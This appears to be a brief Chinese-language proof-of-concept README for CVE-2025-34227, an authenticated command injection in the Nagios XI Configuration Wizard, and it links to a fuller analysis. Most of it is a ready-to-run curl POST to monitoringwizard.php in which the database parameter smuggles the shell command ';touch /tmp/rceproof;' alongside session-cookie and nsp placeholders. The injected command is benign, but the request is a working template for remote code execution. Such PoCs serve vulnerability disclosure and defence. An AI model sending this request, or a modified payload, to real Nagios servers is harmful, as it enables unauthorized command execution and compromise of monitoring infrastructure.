Configuration Wizard 中的认证命令注入CVE-2025-34227 的简单概念验证仓库，这是一个存在于 Nagios XI -> Configuration Wizard 中的认证命令注入漏洞。
完整分析文章请见：https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/
curl 概念验证下面的 payload 位于 database 参数中：;touch /tmp/rceproof;。
完成认证后，将你的 Cookie: nagiosxi= 会话 ID 和 nsp 值添加到 POST body 中：
$ curl -s \
-H 'Cookie: nagiosxi=<your-session-id-here>' \
--data 'update=1&nsp=<your-nsp-value-here>&step=3&nextstep=5&wizard=mysqlquery&tpl=&hostname=localhost&operation=&selectedhostconfig=&services_serial=&serviceargs_serial=&config_serial=&ip_address=127.0.0.1&port=3306&username=test&password=test&database=information_schema%3Btouch+/tmp/rceproof%3B&queryname=curl+RCE+service&query=SELECT+1&warning=50&check_interval=1&retry_interval=1&critical=200&finishButton=' \
http://192.168.122.9/nagiosxi/config/monitoringwizard.php